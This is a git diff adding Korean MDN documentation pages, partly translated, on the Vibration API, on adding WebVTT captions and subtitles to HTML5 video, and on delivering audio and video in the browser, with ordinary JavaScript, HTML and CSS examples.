+<p><strong>Vibration API</strong>는 웹앱들이 기기에 장착된 물리 진동장치를 통해 진동을 전달할 수 있도록 해줍니다. 하지만 대응하는 진동 장치가 없는 기기일 경우 아무일도 일어나지 않습니다.</p>
+
+<h2 id="Describing_vibrations">Describing vibrations</h2>
+
+<p>바이브레이션은 온오프 펄스들의 패턴이라고 할 수 있는데, 이 펄스들은 아마도 다양한 길이를 가질 것이다. 이 패턴은 아마 하나의 정수값으로 구성될 수 있는데 이 정수값은 진동이 일어날 밀리세컨드 수를 의미한다. 또한 이 패턴은 정수 배열이 될 수도 있는데 이것은 진동과 정지들의 패턴을 의미한다. 바이브레이션은 {{domxref("window.navigator.vibrate()")}} 라는 하나의 메소드로 제어된다.</p>
+
+<h3 id="한번_진동시키기">한번 진동시키기</h3>
+
+<p>여러분은 다음과 같이 하나의 값 또는 하나의 값으로 구성된 배열을 명시함으로써 바이브레이션 하드웨어를 1회 진동시킬 수 있을 것이다.</p>
+
+<pre class="brush:js">window.navigator.vibrate(200);
+window.navigator.vibrate([200]);
+</pre>
+
+<p>이 두 가지 예제들은 디바이스를 200ms 동안 진동시킨다.</p>
+
+<h3 id="패턴이_있는_진동_만들기">패턴이 있는 진동 만들기</h3>
+
+<p>배 열에 있는 값들은 다바이스가 진동해야 하는 시간과 진동하지 않아야 하는 시간을 번갈아가며 적어놓은 것이다. 배열에 있는 각 값은 하나의 정수로 변환된 후 차례대로 장치가 진동해야 하는 시간, 장치가 진동하지 않아야 하는 시간으로 해석된다. 다음 예제를 보자.</p>
+
+<pre class="brush: js">window.navigator.vibrate([200, 100, 200]);
+</pre>
+
+<p>이 예제는 장치를 200ms 동안 진동시킨 후 100ms 동안 멈추게 하고 그 후 다시 200ms 동안 장치를 진동시킨다.</p>
+
+<p>여 러분은 여러분이 원하는 진동/정지 페어를 명시할 수 있다. 그리고 배열 내에 홀수 또는 짝수개의 값들을 명시할 수도 있다. 이렇게 하는 이유는 각각의 진동 시간이 끝나면 디바이스의 진동은 자동적으로 멈추게 되므로 배열의 마지막 값이 정지에 해당하는 값이라면 그 값은 아무 의미가 없기 때문이다.</p>
+
+<h3 id="이미_실행중인_진동_캔슬하기">이미 실행중인 진동 캔슬하기</h3>
+
+<p>{{domxref("window.navigator.vibrate()")}} <code>메소드를 0값을 호출하거나, 빈 배열, 0값으로 구성된 배열로 호출하면 </code>현재 진행중인 진동패턴은 취소될 것이다.</p>
+
+<h3 id="지속적인_진동_내보내기">지속적인 진동 내보내기</h3>
+
+<p>Some basic <code>setInterval</code> and <code>clearInterval</code> action will allow you to create persistent vibration:</p>
+
+<pre><code>var vibrateInterval;
+
+// Starts vibration at passed in level
+function startVibrate(duration) {
+ navigator.vibrate(duration);
+}
+
+// Stops vibration
+function stopVibrate() {
+ // Clear interval and stop persistent vibrating
+ if(vibrateInterval) clearInterval(vibrateInterval);
+ navigator.vibrate(0);
+}
+
+// Start persistent vibration at given duration and interval
+// Assumes a number value is given
+function startPeristentVibrate(duration, interval) {
+ vibrateInterval = setInterval(function() {
+ startVibrate(duration);
+ }, interval);
+}</code></pre>
+
+<p>Of course the snippet above doesn't take into account the array method of vibration; persistent array-based vibration will require calculating the sum of the array items and creating an interval based on that number (with an additional delay, probably).</p>
+
+<h3 id="Why_use_Vibration_API">Why use Vibration API?</h3>
+
+<p>This API is clearly targeted toward mobile devices. The Vibration API would be good for alerts within mobile web applications, and would be especially awesome when used in games or media-heavy applications. Imagine watching a video on your mobile device, and during an explosion scene, your phone got a bit of a shake. Or playing Bomberman and feeling a gentle kick when a block explodes!</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Vibration API')}}</td>
+ <td>{{Spec2('Vibration API')}}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("api.Navigator.vibrate")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.navigator.vibrate()")}}</li>
+</ul>
diff --git a/files/ko/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html b/files/ko/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html
new file mode 100644
index 0000000000..df8885e1e1
--- /dev/null
+++ b/files/ko/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html
@@ -0,0 +1,321 @@
+---
+title: HTML5 영상에 캡션과 자막 붙이기
+slug: >-
+ Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video
+translation_of: >-
+ Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video
+---
+<div class="summary">
+<p><span class="seoSummary">우리는 다른 글에서 {{ domxref("HTMLMediaElement") }}과(와) {{ domxref("Window.fullScreen") }} API를 활용하여 <a href="/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">다양한 브라우저에서 호환되는 영상 플레이어를 제작하는 방법</a>과 <a href="/en-US/Apps/Build/Manipulating_media/Video_player_styling_basics">플레이어에 스타일을 적용하는 방법</a>을 살펴보았습니다. 이번 글에서는 위에서 제작했던 플레이어를 활용하여 {{ domxref("Web_Video_Text_Tracks_Format","WebVTT 포맷 파일") }}과(와) {{ htmlelement("track") }} 엘리먼트를 이용해 캡션과 자막을 붙이는 방법을 살펴보려고 합니다.</span></p>
+</div>
+
+<h2 id="캡션이_포함된_영상_예제">캡션이 포함된 영상 예제</h2>
+
+<p>캡션이 포함된 영상 플레이어를 예시로 설명하기 위하여 <a href="http://www.blender.org/foundation/">Blender Foundation</a>에서 만든 <a href="http://www.sintel.org/">Sintel open movie</a>를 발췌하여 사용할 것입니다.</p>
+
+<p><img alt='Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions">소스코드</a>는 Github 에서 받을 수 있으며 <a href="http://iandevlin.github.io/mdn/video-player-with-captions/">데모</a> 또한 확인해보실 수 있습니다.</p>
+</div>
+
+<h2 id="HTML5와_영상_캡션">HTML5와 영상 캡션</h2>
+
+<p>영상에 캡션을 붙이는 법을 살펴보기 전에, 몇가지 짚고 넢어가야 할 것들이 있습니다.</p>
+
+<h3 id="캡션_vs_자막">캡션 vs 자막</h3>
+
+<p><a href="http://web.archive.org/web/20160117160743/http://screenfont.ca/learn/">캡션과 자막은 다른 개념입니다</a>: 이 두가지는 명백히 다른 개념이며 서로 다른 정보를 전달합니다. 이 두가지에 대해 명확하게 이해하고 있지 않다면 두 개념의 차이를 먼저 이해하고 오는 것이 좋습니다. 개념적으로는 다르더라도 기술적으로는 같은 방식을 따르기 때문에, 이 글에서 설명하는 것은 두 개념 모두에 적용됩니다.</p>
+
+<p>이 글에서는 화면에 보여지는 텍스트를 자막으로 간주하고 설명하고 있습니다. 여기서 자막은 영상의 언어를 이해하기 어려운 사람들을 위한 텍스트를 의미하며, 듣는 능력에 장애가 있는 사람들을 위한 텍스트를 의미하는 것은 아닙니다.</p>
+
+<h3 id="&lt;track>_엘리먼트">&lt;track&gt; 엘리먼트</h3>
+
+<p>HTML5에서는 {{ htmlelement("track") }}를 이용하여 자막을 특정해서 보여줄 수 있습니다. 엘리먼트에서 제공하는 다양한 속성을 이용하여 추가하려는 컨텐트 유형, 언어, 자막 파일 등을 지정할 수 있습니다.</p>
+
+<h3 id="WebVTT">WebVTT</h3>
+
+<p>자막 데이터를 담고있는 파일은 특정한 파일 포맷을 따르는데, 이 글에서는 <a href="/en-US/docs/HTML/WebVTT">Web Video Text Tracks</a> (WebVTT)를 이용합니다. <a href="http://dev.w3.org/html5/webvtt/">WebVTT 스펙</a> 은 아직 개발 단계에 있지만 대부분 주요 기능은 안정화 단계에 있기 떄문에 지금도 충분히 사용 가능합니다.</p>
+
+<p>영상 제공자(<a href="http://www.blender.org/foundation/">Blender Foundation</a>같은)들은 영상과 함께 캡션과 자막을 텍스트 파일로 제공하는데 보통 SubRip Text(SRT) 포맷을 사용합니다. SRT 파일은 온라인에서 쉽게 찾을 수 있는 <a href="https://atelier.u-sub.net/srt2vtt/">srt2vtt</a>같은 변환기를 이용해 WebVTT로 변환할 수 있습니다.</p>
+
+<h2 id="HTML과_CSS_수정">HTML과 CSS 수정</h2>
+
+<p>이번 섹션에서는 영상에 자막을 추가하기 위하여 이전 글에서 작성했던 코드의 마크업을 수정해볼 것입니다. 혹시 이번 섹션은 별로 관심이 없거나 바로 JavaScript 혹은 직접적인 CSS를 수정하는데에 더 관심이 있다면, {{ anch("Subtitle implementation") }} 섹션으로 건너뛰어도 무방합니다.<br>
+ <br>
+ 이번 예제에서는 <a href="http://www.sintel.org/">Sintel</a>이라는 다른 영상을 사용해보겠습니다. 이 영상은 연설하는 내용을 담고있기 떄문에 자막이 동작하는 것을 이해하는데 훨씬 더 적합할 것입니다.</p>
+
+<h3 id="HTML_마크업">HTML 마크업</h3>
+
+<p>위에서 언급한대로, 자막 파일을 HTML5 영상에 추가하기 위해서는 새로운 HTML5 <code>&lt;track&gt;</code> 엘리먼트를 활용해야 합니다. 우리는 지금 3가지 다른 언어의 자막— 영어, 독일어, 스페인어 —을 가지고 있기 때문에 HTML5 <code>&lt;video&gt;</code> 엘리먼트 안에 <code>&lt;track&gt;</code> 엘리먼트를 추가하여 3가지 언어에 대응하는 VTT 파일을 지정해주어야 합니다.:</p>
+
+<pre class="brush: html">&lt;video id="video" controls preload="metadata"&gt;
+ &lt;source src="video/sintel-short.mp4" type="video/mp4"&gt;
+ &lt;source src="video/sintel-short.webm" type="video/webm"&gt;
+ &lt;track label="English" kind="subtitles" srclang="en" src="captions/vtt/sintel-en.vtt" default&gt;
+ &lt;track label="Deutsch" kind="subtitles" srclang="de" src="captions/vtt/sintel-de.vtt"&gt;
+ &lt;track label="Español" kind="subtitles" srclang="es" src="captions/vtt/sintel-es.vtt"&gt;
+&lt;/video&gt;</pre>
+
+<p>위 코드에서 보듯, 각각의 <code>&lt;track&gt;</code> 엘리먼트는 다음의 속성 세트를 갖습니다:</p>
+
+<ul>
+ <li><code>subtitles</code>값을 갖고 있는 <code>kind</code> 는 해당 파일이 가지고 있는 내용의 유형을 가리킵니다.</li>
+ <li><code>label</code> 은 자막 세트가 갖는 언어를 상징하는 값입니다. — 예를 들어 <code>English</code> 혹은 <code>Deutsch</code> — 이 값들은 UI 상에서 사용자가 쉽게 원하는 자막을 선택할 수 있도록 보여지는데 사용됩니다.</li>
+ <li><code>src</code> 은 각 자막에 해당하는 WebVTT 파일 URL입니다.</li>
+ <li><code>srclang</code> 각 자막 파일의 언어 값을 가리킵니다.</li>
+ <li>English <code>&lt;track&gt;</code> 엘리먼트에 지정되어있는 <code>default</code> 속성은 브라우저로 하여금 기본 자막 파일이라고 알려주는 역할을 합니다. 자막 설정은 켜져있고 사용자가 아무런 선택도 하지 않을 경우 기본으로 보여질 자막을 의미합니다.</li>
+</ul>
+
+<p>In addition to adding the <code>&lt;track&gt;</code> elements, we have also added a new button to control the subtitles menu that we will build. As a consequence, the video controls now look as follows:</p>
+
+<pre class="brush: html;highlight[13]">&lt;div id="video-controls" class="controls" data-state="hidden"&gt;
+ &lt;button id="playpause" type="button" data-state="play"&gt;Play/Pause&lt;/button&gt;
+ &lt;button id="stop" type="button" data-state="stop"&gt;Stop&lt;/button&gt;
+ &lt;div class="progress"&gt;
+ &lt;progress id="progress" value="0" min="0"&gt;
+ &lt;span id="progress-bar"&gt;&lt;/span&gt;
+ &lt;/progress&gt;
+ &lt;/div&gt;
+ &lt;button id="mute" type="button" data-state="mute"&gt;Mute/Unmute&lt;/button&gt;
+ &lt;button id="volinc" type="button" data-state="volup"&gt;Vol+&lt;/button&gt;
+ &lt;button id="voldec" type="button" data-state="voldown"&gt;Vol-&lt;/button&gt;
+ &lt;button id="fs" type="button" data-state="go-fullscreen"&gt;Fullscreen&lt;/button&gt;
+ &lt;button id="subtitles" type="button" data-state="subtitles"&gt;CC&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_Changes">CSS Changes</h3>
+
+<p>The video controls have undergone some minor changes in order to make space for the extra button, but these are relatively straightforward.<br>
+ <br>
+ No image is used for the captions button, so it is simply styled as:</p>
+
+<pre class="brush: css">.controls button[data-state="subtitles"] {
+ height:85%;
+ text-indent:0;
+ font-size:16px;
+ font-size:1rem;
+ font-weight:bold;
+ color:#666;
+ background:#000;
+ border-radius:2px;
+}</pre>
+
+<p>There are also other CSS changes that are specific to some extra JavaScript implementation, but these will be mentioned at the appropriate place below.</p>
+
+<h2 id="Subtitle_implementation">Subtitle implementation</h2>
+
+<p>A lot of what we do to access the video subtitles revolves around JavaScript. Similar to the video controls, if a browser supports HTML5 video subtitles, there will be a button provided within the native control set to access them. However, since we have defined our own video controls, this button is hidden, and we need to define our own.</p>
+
+<p>Browsers do vary as to what they support, so we will be attempting to bring a more unified UI to each browser where possible. There's more on browser compatibility issues later on.</p>
+
+<h3 id="Initial_setup">Initial setup</h3>
+
+<p>As with all the other buttons, one of the first things we need to do is store a handle to the subtitles' button:</p>
+
+<pre class="brush: js">var subtitles = document.getElementById('subtitles');</pre>
+
+<p>We also initially turn off all subtitles, in case the browser turns any of them on by default:</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; video.textTracks.length; i++) {
+ video.textTracks[i].mode = 'hidden';
+}</pre>
+
+<p>The <code>video.textTracks</code> property contains an array of all the text tracks attached to the video. We loop through each one and set its <code>mode</code> to <code>hidden</code>.</p>
+
+<p>Note: The <a href="http://dev.w3.org/html5/webvtt/#api">WebVTT API</a> gives us access to all the text tracks that are defined for an HTML5 video using the <code>&lt;track&gt;</code> element.</p>
+
+<h3 id="Building_a_caption_menu">Building a caption menu</h3>
+
+<p>Our aim is to use the <code>subtitles</code> button we added earlier to display a menu that allows users to choose which language they want the subtitles displayed in, or to turn them off entirely.<br>
+ <br>
+ We have added the button, but before we make it do anything, we need to build the menu that goes with it. This menu is built dynamically, so that languages can be added or removed later by simply editing the <code>&lt;track&gt;</code> elements within the video's markup.</p>
+
+<p>All we need to do is to go through the video's <code>textTracks</code>, reading their properties and building the menu up from there:</p>
+
+<pre class="brush: js">var subtitlesMenu;
+if (video.textTracks) {
+ var df = document.createDocumentFragment();
+ var subtitlesMenu = df.appendChild(document.createElement('ul'));
+ subtitlesMenu.className = 'subtitles-menu';
+ subtitlesMenu.appendChild(createMenuItem('subtitles-off', '', 'Off'));
+ for (var i = 0; i &lt; video.textTracks.length; i++) {
+ subtitlesMenu.appendChild(createMenuItem('subtitles-' + video.textTracks[i].language, video.textTracks[i].language, video.textTracks[i].label));
+ }
+ videoContainer.appendChild(subtitlesMenu);
+}</pre>
+
+<p>This code creates a {{ domxref("documentFragment") }}, which is used to hold an unordered list containing our subtitles menu. First of all an option is added to allow the user to switch all subtitles off, and then buttons are added for each text track, reading the language and label from each one.</p>
+
+<p>The creation of each list item and button is done by the <code>createMenuItem()</code> function, which is defined as follows:</p>
+
+<pre class="brush: js">var subtitleMenuButtons = [];
+var createMenuItem = function(id, lang, label) {
+ var listItem = document.createElement('li');
+ var button = listItem.appendChild(document.createElement('button'));
+ button.setAttribute('id', id);
+ button.className = 'subtitles-button';
+ if (lang.length &gt; 0) button.setAttribute('lang', lang);
+ button.value = label;
+ button.setAttribute('data-state', 'inactive');
+ button.appendChild(document.createTextNode(label));
+ button.addEventListener('click', function(e) {
+ // Set all buttons to inactive
+ subtitleMenuButtons.map(function(v, i, a) {
+ subtitleMenuButtons[i].setAttribute('data-state', 'inactive');
+ });
+ // Find the language to activate
+ var lang = this.getAttribute('lang');
+ for (var i = 0; i &lt; video.textTracks.length; i++) {
+ // For the 'subtitles-off' button, the first condition will never match so all will subtitles be turned off
+ if (video.textTracks[i].language == lang) {
+ video.textTracks[i].mode = 'showing';
+ this.setAttribute('data-state', 'active');
+ }
+ else {
+ video.textTracks[i].mode = 'hidden';
+ }
+ }
+ subtitlesMenu.style.display = 'none';
+ });
+ subtitleMenuButtons.push(button);
+ return listItem;
+}</pre>
+
+<p>This function builds the required {{ htmlelement("li") }} and {{ htmlelement("button") }} elements, and returns them so they can be added to the subtitles menu list. It also sets up the required event listeners on the button to toggle the relevant subtitle set on or off. This is done by simply setting the required subtlte's <code>mode</code> attribute to <code>showing</code>, and setting the others to <code>hidden</code>.</p>
+
+<p>Once the menu is built, it is then inserted into the DOM at the bottom of the videoContainer.<br>
+ <br>
+ Initially the menu is hidden by default, so an event listener needs to be added to our subtitles button to toggle it:</p>
+
+<pre class="brush: js">subtitles.addEventListener('click', function(e) {
+ if (subtitlesMenu) {
+ subtitlesMenu.style.display = (subtitlesMenu.style.display == 'block' ? 'none' : 'block');
+ }
+});</pre>
+
+<h3 id="Subtitle_menu_CSS">Subtitle menu CSS</h3>
+
+<p>We also added some rudimentary styling for the newly created subtitles menu:</p>
+
+<pre class="brush: css">.subtitles-menu {
+ display:none;
+ position:absolute;
+ bottom:14.8%;
+ right:20px;
+ background:#666;
+ list-style-type:none;
+ margin:0;
+ padding:0;
+ width:100px;
+ padding:10px;
+}
+
+.subtitles-menu li {
+ padding:0;
+ text-align:center;
+}
+
+.subtitles-menu li button {
+ border:none;
+ background:#000;
+ color:#fff;
+ cursor:pointer;
+ width:90%;
+ padding:2px 5px;
+ border-radius:2px;
+}</pre>
+
+<h2 id="Styling_the_displayed_subtitles">Styling the displayed subtitles</h2>
+
+<p>One of the less well known about and supported features of WebVTT is the ability to style the individual subtitles (something called text cues) via <a href="http://dev.w3.org/html5/webvtt/#css-extensions">CSS Extensions</a>.</p>
+
+<p>The <code>::cue</code> pseudo-element is the key to targetting individual text track cues for styling, as it matches any defined cue. There are only a handful of CSS properties that can be applied to a text cue:</p>
+
+<ul>
+ <li>{{ cssxref("color") }}</li>
+ <li>{{ cssxref("opacity") }}</li>
+ <li>{{ cssxref("visibility") }}</li>
+ <li>{{ cssxref("text-decoration") }}</li>
+ <li>{{ cssxref("text-shadow") }}</li>
+ <li>{{ cssxref("background") }} shorthand properties</li>
+ <li>{{ cssxref("outline") }} shorthand properties</li>
+ <li>{{ cssxref("font") }} shorthand properties, including {{ cssxref("line-height") }}</li>
+ <li>{{ cssxref("white-space") }}</li>
+</ul>
+
+<p>For example, to change the text colour of the text track cues you can write:</p>
+
+<pre class="brush: css">::cue {
+ color:#ccc;
+}</pre>
+
+<p>If the WebVTT file uses <a href="http://dev.w3.org/html5/webvtt/#dfn-webvtt-cue-voice-span">voice spans</a>, which allow cues to be defined as having a particular "voice":</p>
+
+<pre>0
+00:00:00.000 --&gt; 00:00:12.000
+&lt;v Test&gt;[Test]&lt;/v&gt;</pre>
+
+<p>Then this specific 'voice' will be stylable like so:</p>
+
+<pre class="brush: css">::cue(v[voice='Test']) {
+ color:#fff;
+ background:#0095dd;
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Some of the styling of cues with ::cue currently works on Chrome, Opera, and Safari, but not yet on Firefox.</p>
+</div>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<p><a href="http://caniuse.com/webvtt">Browser support for WebVTT and the <code>&lt;track&gt;</code> element</a> is fairly good, although some browsers differ slightly in their implementation.</p>
+
+<h3 id="Internet_Explorer">Internet Explorer</h3>
+
+<p>Internet Explorer 10+ subtitles are enabled by default, and the default controls contain a button and a menu that offers the same functionality as the menu we just built. The <code>default</code> attribute is also supported.</p>
+
+<div class="note">
+<p><strong>Note</strong>: IE will completely ignore WebVTT files unless you define the MIME type. This can easily be done by adding an <code>.htaccess</code> file to an appropriate directory that contains <code>AddType text/vtt .vtt</code>.</p>
+</div>
+
+<h3 id="Safari">Safari</h3>
+
+<p>Safari 6.1+ has similar support to Internet Explorer 10+, displaying a menu with the different available options, with the addition of an "Auto" option, which allows the browser to choose.</p>
+
+<h3 id="Chrome_and_Opera">Chrome and Opera</h3>
+
+<p>These browsers have similar implementations again: subtitles are enabled by default and the default control set contains a 'cc' button that turns subtitles on and off. Chrome and Opera ignore the <code>default</code> attribute on the <code>&lt;track&gt;</code> element and will instead try to match the browser's language to the subtitle's language.</p>
+
+<h3 id="Firefox">Firefox</h3>
+
+<p>Firefox's implementation was completely broken due to a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=981280">bug</a>, leading to Mozilla turning off WebVTT support by default (you can turn it on via the <code>media.webvtt.enabled</code> flag.) However, <s>this bug looks to have been fixed and WebVTT support re-enabled as of Gecko 31, so this will not be a problem for Firefox final release users for much longer (on Gecko 29 as of the time of this writing)</s> this has been fixed as of Firefox 31, and everything works as it should.</p>
+
+<h2 id="Plugins">Plugins</h2>
+
+<p>If, after reading through this article you decide that you can't be bothered to do all of this and want someone else to do it for you, there are plenty of plugins out there that offer caption and subtitle support that you can use.</p>
+
+<dl>
+ <dt><a href="http://plyr.io">plyr.io </a></dt>
+ <dd>This modern video player implements subtitles in both SRT and WebVTT file formats.</dd>
+ <dt><a href="http://www.delphiki.com/html5/playr/">playr</a></dt>
+ <dd>This small plugin implements subtitles, captions, and chapters as well as both WebVTT and SRT file formats.</dd>
+ <dt><a href="https://flowplayer.org/player/">Flowplayer</a></dt>
+ <dd>HTML5 player supporting WebVTT.</dd>
+ <dt><a href="http://www.jwplayer.com/">jwplayer</a></dt>
+ <dd>This video player is very extensive and does a lot more than simply support video captions. It supports the WebVTT, SRT and DFXP formats.</dd>
+ <dt><a href="http://mediaelementjs.com/">MediaElement.js</a></dt>
+ <dd>Another complete video player that also support video captions, albeit only in SRT format.</dd>
+ <dt><a href="http://www.leanbackplayer.com/">LeanBack Player</a></dt>
+ <dd>Yet another video player that supports WebVTT captions as well as providing other standard player functionality.</dd>
+ <dt><a href="http://sublimevideo.net">SublimeVideo</a></dt>
+ <dd>This player also supports captions through WebVTT and SRT files.</dd>
+ <dt><a href="http://www.videojs.com/">Video.js</a></dt>
+ <dd>Supports WebVTT video subtitles.</dd>
+ <dt><a href="https://www.radiantmediaplayer.com">Radiant Media Player</a></dt>
+ <dd>Supports multi-languages WebVTT closed captions</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: You can find an excellent list of HTML5 Video Players and their current "state" at <a href="http://praegnanz.de/html5video/">HTML5 Video Player Comparison</a>.</p>
+</div>
diff --git a/files/ko/web/guide/audio_and_video_delivery/index.html b/files/ko/web/guide/audio_and_video_delivery/index.html
new file mode 100644
index 0000000000..857a7eec17
--- /dev/null
+++ b/files/ko/web/guide/audio_and_video_delivery/index.html
@@ -0,0 +1,554 @@
+---
+title: Audio and Video Delivery
+slug: Web/Guide/Audio_and_video_delivery
+tags:
+ - Audio
+ - HTML5
+ - Media
+ - NeedsTranslation
+ - TopicStub
+ - Video
+translation_of: Web/Guide/Audio_and_video_delivery
+---
+<div class="summary">
+<p>We can deliver audio and video on the web in a number of ways, ranging from 'static' media files to adaptive live streams. This article is intended as a starting point for exploring the various delivery mechanisms of web based media and compatibility with popular browsers.</p>
+</div>
+
+<h2 id="The_Audio_and_Video_Elements">The Audio and Video Elements</h2>
+
+<p>Whether we are dealing with pre-recorded audio files or live streams, the mechanism for making them available through the browser's {{ htmlelement("audio")}} and {{ htmlelement("video")}} elements remains pretty much the same. Currently, to support all browsers we need to specify two formats, although with the adoption of MP3 and MP4 formats in Firefox and Opera, this is changing fast. You can find compatibility information in the following places:</p>
+
+<ul>
+ <li><a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#Audio_Codec_Support">Audio Codec Compatibility Table</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Supported_media_formats#Browser_compatibility">Audio/Video Codec Compatibility Table</a></li>
+</ul>
+
+<p>To deliver video and audio, the general workflow is usually something like this:</p>
+
+<ol>
+ <li>Check what format the browser supports via feature detection (usually a choice of two, as stated above.)</li>
+ <li>If the browser doesn't support playback of any of the provided formats natively, provide a fallback (such as a Flash movie.)</li>
+ <li>Identify how you want to play/instantiate the media (e.g. a {{ htmlelement("video") }} element, or <code>document.createElement('video')</code> perhaps?)</li>
+ <li>Deliver the media file to the player.</li>
+</ol>
+
+<h3 id="HTML_Audio">HTML Audio</h3>
+
+<pre class="brush: html">&lt;audio controls preload="auto"&gt;
+ &lt;source src="audiofile.mp3" type="audio/mpeg"&gt;
+
+ &lt;!-- fallback for browsers that don't suppport mp3 --&gt;
+ &lt;source src="audiofile.ogg" type="audio/ogg"&gt;
+
+ &lt;!-- fallback for browsers that don't support audio tag --&gt;
+ &lt;a href="audiofile.mp3"&gt;download audio&lt;/a&gt;
+&lt;/audio&gt;</pre>
+
+<p>The code above will create an audio player that attempts to preload as much audio as possible for smooth playback.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The preload attribute may be ignored by some mobile browsers.</p>
+</div>
+
+<p>For further info see <a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#HTML5_audio_in_detail">Cross Browser Audio Basics (HTML5 Audio In Detail)</a></p>
+
+<h3 id="HTML_Video">HTML Video</h3>
+
+<pre class="brush: html">&lt;video controls width="640" height="480" poster="initialimage.png" autoplay muted&gt;
+ &lt;source src="videofile.mp4" type="video/mp4"&gt;
+
+ &lt;!-- fallback for browsers that don't suppport mp4 --&gt;
+ &lt;source src="videofile.webm" type="video/webm"&gt;
+
+ &lt;!-- specifying subtitle files --&gt;
+ &lt;track src="subtitles_en.vtt" kind="subtitles" srclang="en" label="English"&gt;
+ &lt;track src="subtitles_no.vtt" kind="subtitles" srclang="no" label="Norwegian"&gt;
+
+ &lt;!-- fallback for browsers that don't support video tag --&gt;
+ &lt;a href="videofile.mp4"&gt;download video&lt;/a&gt;
+&lt;/video&gt;</pre>
+
+<p>The code above creates a video player of dimensions 640x480 pixels, displaying a poster image until the video is played. We instruct the video to autoplay but to be muted by default.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The autoplay attribute may be ignored by some mobile browsers.</p>
+</div>
+
+<p>For further info see <a href="https://developer.mozilla.org/en/docs/Web/HTML/Element/video">&lt;video&gt; element</a> and <a href="/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">Creating a cross-browser video player</a>.</p>
+
+<h3 id="Audio_and_Video_Fallback">Audio and Video Fallback</h3>
+
+<p>You can create a more comprehensive Fallback using Flash. <a href="https://github.com/johndyer/mediaelement/blob/master/build/flashmediaelement.swf">Using flashmediaelement.swf</a> is one way.</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+ &lt;source src="audiofile.mp3" type="audio/mpeg"&gt;
+ &lt;source src="audiofile.ogg" type="audio/ogg"&gt;
+ &lt;!-- fallback for non supporting browsers goes here --&gt;
+ &lt;a href="audiofile.mp3"&gt;download audio&lt;/a&gt;
+ &lt;object width="320" height="30" type="application/x-shockwave-flash" data="flashmediaelement.swf"&gt;
+ &lt;param name="movie" value="flashmediaelement.swf" /&gt;
+ &lt;param name="flashvars" value="controls=true&amp;isvideo=false&amp;file=audiofile.mp3" /&gt;
+ &lt;/object&gt;
+&lt;/audio&gt;</pre>
+
+<p>The process is very similar with video — just remember to set <code>isvideo=true</code> in the <code>flashvars value</code> parameters.<br>
+ <br>
+ <a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#Fallbacks">More options for Fallbacks</a>.</p>
+
+<h3 id="JavaScript_Audio">JavaScript Audio</h3>
+
+<pre class="brush: js">var myAudio = document.createElement('audio');
+
+if (myAudio.canPlayType('audio/mpeg')) {
+ myAudio.setAttribute('src','audiofile.mp3');
+} else if (myAudio.canPlayType('audio/ogg')) {
+ myAudio.setAttribute('src','audiofile.ogg');
+}
+
+myAudio.currentTime = 5;
+myAudio.play();</pre>
+
+<p>We set the source of the audio depending on the type of audio file the browser supports, then set the play-head 5 seconds in and attempt to play it.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Play will be ignored by some mobile browsers unless issued by a user-initiated event.</p>
+</div>
+
+<p>It's also possible to feed an {{ htmlelement("audio") }} element a base64 encoded WAV file, allowing to generate audio on the fly:</p>
+
+<pre class="brush: html">&lt;audio id="player" src="data:audio/x-wav;base64,UklGRvC..."&gt;&lt;/audio&gt;</pre>
+
+<p><a href="https://github.com/kripken/speak.js/">Speak.js</a> employs this technique. <a href="http://speak-demo.herokuapp.com">Try the demo</a>.</p>
+
+<h3 id="JavaScript_Video">JavaScript Video</h3>
+
+<pre class="brush: js">var myVideo = document.createElement('video');
+
+if (myVideo.canPlayType('video/mp4')) {
+ myVideo.setAttribute('src','videofile.mp4');
+} else if (myVideo.canPlayType('video/webm')) {
+ myVideo.setAttribute('src','videofile.webm');
+}
+
+myVideo.width = 480;
+myVideo.height = 320;</pre>
+
+<p>We set the source of the video depending on the type of video file the browser supports we then set the width and height of the video.</p>
+
+<h2 id="Web_Audio_API">Web Audio API</h2>
+
+<pre class="brush: js"> var context;
+ var request;
+ var source;
+
+ try {
+ context = new AudioContext();
+ request = new XMLHttpRequest();
+ request.open("GET","http://jplayer.org/audio/mp3/RioMez-01-Sleep_together.mp3",true);
+ request.responseType = "arraybuffer";
+
+ request.onload = function() {
+ context.decodeAudioData(request.response, function(buffer) {
+ source = context.createBufferSource();
+ source.buffer = buffer;
+ source.connect(context.destination);
+ // auto play
+ source.start(0); // start was previously noteOn
+ });
+ };
+
+ request.send();
+
+ } catch(e) {
+ alert('web audio api not supported');
+ }</pre>
